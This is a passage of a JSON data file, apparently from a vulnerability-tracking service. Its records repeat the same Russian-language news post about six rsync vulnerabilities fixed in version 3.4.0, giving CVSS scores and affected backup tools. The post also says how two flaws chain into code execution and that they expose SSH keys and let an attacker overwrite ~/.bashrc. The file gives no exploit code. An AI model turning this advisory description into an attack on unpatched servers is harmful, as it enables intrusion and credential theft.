(\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 6,5) - \u043e\u0431\u0445\u043e\u0434 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430 --safe-links \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u043e\u0431\u0445\u043e\u0434\u0443 \u043f\u0443\u0442\u0438;\n\n- CVE-2024-12747 (\u041e\u0446\u0435\u043d\u043a\u0430 CVSS: 5,6) - c\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0433\u043e\u043d\u043a\u0438 \u0432 Rsync \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0441\u0441\u044b\u043b\u043e\u043a.\n\n\u041e\u0442\u043c\u0435\u0447\u0430\u0435\u0442\u0441\u044f, \u0447\u0442\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u0438\u0442\u044c CVE-2024-12084 \u0438 CVE-2024-12085, \u0447\u0442\u043e\u0431\u044b \u0434\u043e\u0431\u0438\u0442\u044c\u0441\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043d\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0435, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0437\u0430\u043f\u0443\u0449\u0435\u043d \u0441\u0435\u0440\u0432\u0435\u0440 Rsync. \u0414\u043b\u044f \u0441\u043e\u0432\u0435\u0440\u0448\u0435\u043d\u0438\u044f \u0430\u0442\u0430\u043a\u0438 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u043e\u0433\u043e \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u043a \u0441\u0435\u0440\u0432\u0435\u0440\u0443 Rsync \u0441 \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c \u043d\u0430 \u0447\u0442\u0435\u043d\u0438\u0435. \u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0430\u0442\u0430\u043a\u0430 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0441\u043e\u0432\u0435\u0440\u0448\u0435\u043d\u0430 \u043d\u0430 \u0437\u0435\u0440\u043a\u0430\u043b\u0430 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u043e\u0432 \u0438 \u043f\u0440\u043e\u0435\u043a\u0442\u043e\u0432, \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0449\u0438\u0445 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0441\u0431\u043e\u0440\u043e\u043a \u0447\u0435\u0440\u0435\u0437 Rsync. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0442\u0430\u043a\u0436\u0435 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0438 \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u043e\u0433\u043e \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0435 Rsync \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u0431\u044d\u043a\u0435\u043d\u0434\u0430, \u0442\u0430\u043a\u0438\u0435 \u043a\u0430\u043a BackupPC, DeltaCopy \u0438 ChronoSync.\n\n\u041d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b \u0432 \u0432\u0435\u0440\u0441\u0438\u0438 Rsync 3.4.0. \u0412 \u043d\u0435\u0439 \u0434\u043b\u044f \u0443\u043f\u0440\u043e\u0449\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 \u043d\u043e\u043c\u0435\u0440 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0430 \u043f\u043e\u0432\u044b\u0448\u0435\u043d \u0434\u043e 32.\n\n\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a: https://kb.cert.org/vuls/id/952657 \n\n#\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438", "creation_timestamp": "2026-07-28T00:00:50.072391Z"}, {"uuid": "8448a4f3-890f-45e5-be99-665b799f4795", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12087", "type": "exploited", "source": "https://t.me/EchelonEyes/3541", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0435 \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 Rsync \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u043b\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 \u0438 \u043a\u043b\u0438\u0435\u043d\u0442\u0435\n\n\u0412 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u043c \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0435 \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 Rsync \u0434\u043b\u044f \u0441\u0438\u0441\u0442\u0435\u043c Unix \u0431\u044b\u043b\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043e \u0448\u0435\u0441\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u0432 \u043a\u043b\u0438\u0435\u043d\u0442\u0435. \u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 Google Cloud Vulnerability Research, \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0432\u0448\u0438\u0445 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0443\u044e \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u044e, \u0431\u043e\u043b\u0435\u0435 660 000 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 Rsync \u043f\u043e\u0434\u0432\u0435\u0440\u0433\u043b\u0438\u0441\u044c \u0430\u0442\u0430\u043a\u0430\u043c.\n\n\u00ab\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0432\u0437\u044f\u0442\u044c \u043f\u043e\u0434 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u0441\u0435\u0440\u0432\u0435\u0440 \u0438 \u0447\u0438\u0442\u0430\u0442\u044c/\u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u043b\u044e\u0431\u043e\u0433\u043e \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u043e\u0433\u043e \u043a\u043b\u0438\u0435\u043d\u0442\u0430, \u2014 \u0433\u043e\u0432\u043e\u0440\u0438\u0442\u0441\u044f \u0432 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0438 \u041a\u043e\u043e\u0440\u0434\u0438\u043d\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0433\u043e \u0446\u0435\u043d\u0442\u0440\u0430 CERT (CERT/CC). \u2013 \u041a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435, \u0442\u0430\u043a\u0438\u0435 \u043a\u0430\u043a \u043a\u043b\u044e\u0447\u0438 SSH, \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u044b, \u0430 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d \u043f\u0443\u0442\u0435\u043c \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u0438 \u0444\u0430\u0439\u043b\u043e\u0432, \u0442\u0430\u043a\u0438\u0445 \u043a\u0430\u043a ~/.bashrc \u0438\u043b\u0438 ~/.popt\u00bb.\n\n\u0420\u0435\u0447\u044c \u0438\u0434\u0435\u0442 \u043e \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u0445:\n\n- CVE-2024-12084 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 9,8) - \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0431\u0443\u0444\u0435\u0440\u0430 \u043a\u0443\u0447\u0438 \u0432 Rsync \u0438\u0437-\u0437\u0430 \u043d\u0435\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0434\u043b\u0438\u043d\u044b \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u043e\u0439 \u0441\u0443\u043c\u043c\u044b, \u0440\u0430\u0437\u043c\u0435\u0440 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u043f\u0440\u0435\u0432\u044b\u0448\u0430\u0435\u0442 16 \u0431\u0430\u0439\u0442.\n\n- CVE-2024-12085 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 7,5) - \u0443\u0442\u0435\u0447\u043a\u0430 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u0447\u0435\u0440\u0435\u0437 \u043d\u0435\u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0441\u0442\u0435\u043a\u0430;\n\n- CVE-2024-12086 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 6,1) - \u0443\u0442\u0435\u0447\u043a\u0430 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u0438\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 Rsync;\n\n- CVE-2024-12087 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 6,5) - \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0443\u0442\u0438 \u0432 Rsync;\n\n- CVE-2024-12088 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 6,5) - \u043e\u0431\u0445\u043e\u0434 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430 --safe-links \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u043e\u0431\u0445\u043e\u0434\u0443 \u043f\u0443\u0442\u0438;\n\n- CVE-2024-12747 (\u041e\u0446\u0435\u043d\u043a\u0430 CVSS: 5,6) - c\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0433\u043e\u043d\u043a\u0438 \u0432 Rsync \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0441\u0441\u044b\u043b\u043e\u043a.\n\n\u041e\u0442\u043c\u0435\u0447\u0430\u0435\u0442\u0441\u044f, \u0447\u0442\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u0438\u0442\u044c CVE-2024-12084 \u0438 CVE-2024-12085, \u0447\u0442\u043e\u0431\u044b \u0434\u043e\u0431\u0438\u0442\u044c\u0441\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043d\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0435, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0437\u0430\u043f\u0443\u0449\u0435\u043d \u0441\u0435\u0440\u0432\u0435\u0440 Rsync. \u0414\u043b\u044f \u0441\u043e\u0432\u0435\u0440\u0448\u0435\u043d\u0438\u044f \u0430\u0442\u0430\u043a\u0438 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u043e\u0433\u043e \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u043a \u0441\u0435\u0440\u0432\u0435\u0440\u0443 Rsync \u0441 \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c \u043d\u0430 \u0447\u0442\u0435\u043d\u0438\u0435. \u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0430\u0442\u0430\u043a\u0430 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0441\u043e\u0432\u0435\u0440\u0448\u0435\u043d\u0430 \u043d\u0430 \u0437\u0435\u0440\u043a\u0430\u043b\u0430 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u043e\u0432 \u0438 \u043f\u0440\u043e\u0435\u043a\u0442\u043e\u0432, \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0449\u0438\u0445 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0441\u0431\u043e\u0440\u043e\u043a \u0447\u0435\u0440\u0435\u0437 Rsync. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0442\u0430\u043a\u0436\u0435 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0438 \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u043e\u0433\u043e \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0435 Rsync \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u0431\u044d\u043a\u0435\u043d\u0434\u0430, \u0442\u0430\u043a\u0438\u0435 \u043a\u0430\u043a BackupPC, DeltaCopy \u0438 ChronoSync.\n\n\u041d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b \u0432 \u0432\u0435\u0440\u0441\u0438\u0438 Rsync 3.4.0. \u0412 \u043d\u0435\u0439 \u0434\u043b\u044f \u0443\u043f\u0440\u043e\u0449\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 \u043d\u043e\u043c\u0435\u0440 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0430 \u043f\u043e\u0432\u044b\u0448\u0435\u043d \u0434\u043e 32.\n\n\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a: https://kb.cert.org/vuls/id/952657 \n\n#\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438", "creation_timestamp": "2026-07-28T00:00:50.162618Z"}, {"uuid": "558a9309-b449-4e76-a9cf-b54fccb593b5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12088", "type": "exploited", "source": "https://t.me/EchelonEyes/3541", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0435 \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 Rsync \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u043b\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 \u0438 \u043a\u043b\u0438\u0435\u043d\u0442\u0435\n\n\u0412 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u043c \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0435 \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 Rsync \u0434\u043b\u044f \u0441\u0438\u0441\u0442\u0435\u043c Unix \u0431\u044b\u043b\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043e \u0448\u0435\u0441\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u0432 \u043a\u043b\u0438\u0435\u043d\u0442\u0435. \u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 Google Cloud Vulnerability Research, \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0432\u0448\u0438\u0445 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0443\u044e \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u044e, \u0431\u043e\u043b\u0435\u0435 660 000 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 Rsync \u043f\u043e\u0434\u0432\u0435\u0440\u0433\u043b\u0438\u0441\u044c \u0430\u0442\u0430\u043a\u0430\u043c.\n\n\u00ab\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0432\u0437\u044f\u0442\u044c \u043f\u043e\u0434 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u0441\u0435\u0440\u0432\u0435\u0440 \u0438 \u0447\u0438\u0442\u0430\u0442\u044c/\u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u043b\u044e\u0431\u043e\u0433\u043e \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u043e\u0433\u043e \u043a\u043b\u0438\u0435\u043d\u0442\u0430, \u2014 \u0433\u043e\u0432\u043e\u0440\u0438\u0442\u0441\u044f \u0432 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0438 \u041a\u043e\u043e\u0440\u0434\u0438\u043d\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0433\u043e \u0446\u0435\u043d\u0442\u0440\u0430 CERT (CERT/CC). \u2013 \u041a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435, \u0442\u0430\u043a\u0438\u0435 \u043a\u0430\u043a \u043a\u043b\u044e\u0447\u0438 SSH, \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u044b, \u0430 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d \u043f\u0443\u0442\u0435\u043c \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u0438 \u0444\u0430\u0439\u043b\u043e\u0432, \u0442\u0430\u043a\u0438\u0445 \u043a\u0430\u043a ~/.bashrc \u0438\u043b\u0438 ~/.popt\u00bb.\n\n\u0420\u0435\u0447\u044c \u0438\u0434\u0435\u0442 \u043e \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u0445:\n\n- CVE-2024-12084 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 9,8) - \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0431\u0443\u0444\u0435\u0440\u0430 \u043a\u0443\u0447\u0438 \u0432 Rsync \u0438\u0437-\u0437\u0430 \u043d\u0435\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0434\u043b\u0438\u043d\u044b \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u043e\u0439 \u0441\u0443\u043c\u043c\u044b, \u0440\u0430\u0437\u043c\u0435\u0440 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u043f\u0440\u0435\u0432\u044b\u0448\u0430\u0435\u0442 16 \u0431\u0430\u0439\u0442.\n\n- CVE-2024-12085 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 7,5) - \u0443\u0442\u0435\u0447\u043a\u0430 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u0447\u0435\u0440\u0435\u0437 \u043d\u0435\u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0441\u0442\u0435\u043a\u0430;\n\n- CVE-2024-12086 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 6,1) - \u0443\u0442\u0435\u0447\u043a\u0430 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u0438\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 Rsync;\n\n- CVE-2024-12087 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 6,5) - \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0443\u0442\u0438 \u0432 Rsync;\n\n- CVE-2024-12088 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 6,5) - \u043e\u0431\u0445\u043e\u0434 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430 --safe-links \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u043e\u0431\u0445\u043e\u0434\u0443 \u043f\u0443\u0442\u0438;\n\n- CVE-2024-12747 (\u041e\u0446\u0435\u043d\u043a\u0430 CVSS: 5,6) - c\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0433\u043e\u043d\u043a\u0438 \u0432 Rsync \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0441\u0441\u044b\u043b\u043e\u043a.\n\n\u041e\u0442\u043c\u0435\u0447\u0430\u0435\u0442\u0441\u044f, \u0447\u0442\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u0438\u0442\u044c CVE-2024-12084 \u0438 CVE-2024-12085, \u0447\u0442\u043e\u0431\u044b \u0434\u043e\u0431\u0438\u0442\u044c\u0441\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043d\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0435, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0437\u0430\u043f\u0443\u0449\u0435\u043d \u0441\u0435\u0440\u0432\u0435\u0440 Rsync. \u0414\u043b\u044f \u0441\u043e\u0432\u0435\u0440\u0448\u0435\u043d\u0438\u044f \u0430\u0442\u0430\u043a\u0438 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u043e\u0433\u043e \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u043a \u0441\u0435\u0440\u0432\u0435\u0440\u0443 Rsync \u0441 \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c \u043d\u0430 \u0447\u0442\u0435\u043d\u0438\u0435. \u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0430\u0442\u0430\u043a\u0430 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0441\u043e\u0432\u0435\u0440\u0448\u0435\u043d\u0430 \u043d\u0430 \u0437\u0435\u0440\u043a\u0430\u043b\u0430 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u043e\u0432 \u0438 \u043f\u0440\u043e\u0435\u043a\u0442\u043e\u0432, 